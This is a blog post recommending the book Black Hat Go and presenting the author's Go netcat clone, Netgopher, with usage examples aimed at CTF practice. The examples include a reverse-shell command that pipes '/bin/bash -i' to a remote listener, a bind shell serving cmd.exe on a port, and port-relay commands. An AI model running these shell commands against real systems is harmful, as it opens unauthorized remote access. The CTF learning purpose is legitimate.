What’s all this about?

This week, I dug out my dusty copy of Black Hat Go, a book I’ve been getting around to reading for an age. Long story short - I loved the first couple of chapters so much I thought I’d recommend it right off the bat.

Black Hat Go is an excellent No Starch Press book covering the use of Golang for Pen Testing, bug bounty and other offensive security practices. It also has a pretty cool cover.

Check out The Book

How will this change my life?

If you’re into your offensive security, using Go will add a really nice new skillset to your box of tricks. Go will let you build tools (simple or complex, up to you!) that compile to a single (fairly small) ‘blob’, with simple concurrency and thread management, excellent cross-compilation (No Wine!) and a compilation/testing command that’s almost as simple as developing a Python script.

I’d suggest that working with Go like this is probably going to be a bit easier if you are familiar with some scripting or programming, even if it’s just some simple usages or concepts, like variables, bits and bytes and so on. If you’re comfortable working with Bash or maybe a little bit of Python (even just being able to read these) you’ll have a great start. but don’t let that hold you back if you’re keen! I’ve gone through the first chapter or two so far and in just a couple of evenings, the book has guided me through some really nice concepts in such a simple way.

Most of my exposure to compiled languages comes from solving awkward Mathematical problems at Univeristy, so learning Go was a little outfacing because I wanted to avoid that again. So far it’s been nothing like that, it’s giving me serious Python vibes in the ease of drafting, testing and availability/usability of (mostly core) Libraries. I think I might be a convert!

With all that said, If you’re worried about the learning curve, you could always get the basic syntax and conventions down via Codeacademy, Sololearn etc. first, then pick up something more technical like this, just do it!


Enter Netgopher. ‘What is that?’ I hear you cry? Well to be honest, it’s the same example Netcat mimic (ish) that every person starting on Black Hat Go or Black Hat Python (Another No Starch belter) puts on their Github. That said, I’ve tried to make this super simple implementation of Netcat a bit more useful for myself as I work CTFs and so on.

In addition to the usual example TCP connection functionality, I’ve Googled it up and added some better command line parsing and options goodness, whilst most of the Netcat ‘extra features’ (hexdump, UDP etc.) are not included, you can do enough to get by on simple HackTheBox/TryHackMe/VulnHub boxes with TCP connections, command execution and built-in port relaying (my personal fave!).

Example gif of Relay usage
An example of a connection to connection relay. A Pair of listeners are started, then a connecting relay is set up, by starting two connections via Netgopher.

So if you’re curious about Go, maybe you’re thinking about it, why not grab this script and see what it’s capable of? If I can do this in a couple of evenings, you definately can! Read the source and play with Netgopher as set out below and happy hacking!

The rest of this post is actually a glorified excerpt from the README for ng on my Github Repo. So feel free to check that out too if you know where you’re going from here.


You can, but probably shouldn’t, get Netgopher by running the following command once you have Go installed:

❯ go get -u "github.com/blackfell/ng"

Why not?

Well installing via go get will only install ng in your local $GOPATH; additionally, the binary will be fairly large and compiled only for your OS.

I wrote this little application with CTFs in mind, meaning I want a smaller binary (to move around the network quickly), preferably with multi-platform support, so I can hack on Windows, Linux and more. So… grab a copy of all the released binaries instead , which have been cross compiled and stripped down to ~ 2MB.


Basic Usage

❯ ng                                                                                                 ─╯
Usage of ng:
  -c value
        Make a TCP Connection : -c
  -e string
        Execute a command (quote) : -e '/bin/bash -i'
  -h    Print detailed usage.
  -l value
        Listen on a port : -l 4444
  -v    Display detailed progress messages.

The simplest examples are the classic netcat connect and listen functions. You can try this out with a listener/connection pair:

Example gif of listener and connection usage
An example of listeners and connections.A listener is started, then a connection made from the same host.

CTF Use Cases

Some really common use cases I have are:

Start a shell and connect back to a remote listener

# Start a listener on your remote machine
❯ ng -l 1234
# Start the shell
❯ ng -c remote_host:1234 -e '/bin/bash -i'

Start a shell on a bind listener

This is useful in certail cases because you can create as many conenctions as you like - if your shell drops, just re-connect.

❯ ng -l 1234 -e 'cmd.exe'
# Now connect up to the shell
❯ ng -c serving_host:1234
# Oh no! Your shell dropped - try again
❯ ng -c serving_host:1234

Forward a TCP port back to a remote listener

# Start a relay on your local host
❯ ng -l 1234 -l 445
# On your remote host, forward a connection to local port 445
❯ ng -c local_hostname:1234 -c
# Your local machine now has access to that remote port 445 on

Port ‘spoofing’ - Forward connections to another port

# Listen on port 1234 and forward connections to ssh server
❯ ng -l 1234 -c

That’s it!

So there you have it - if this piqued your interest why not grab a copy of Netgopher and have a mess around, or read the source? If you have any thoughts, I welcome issues, pulls, emails, tweets and more, just hit one of the socials below. I hope I’ve insipired you to check out some Go, or even program a little in something - anything.

Get your copy on sale

It’s also worth noting that if you’re into this, Humble Bundle also host periodic super cheap sales of No Starch Press books- that’s where I got my copy (in eBook form) and it might be a good idea to keep your eyes peeled for similar sales in future. Peace!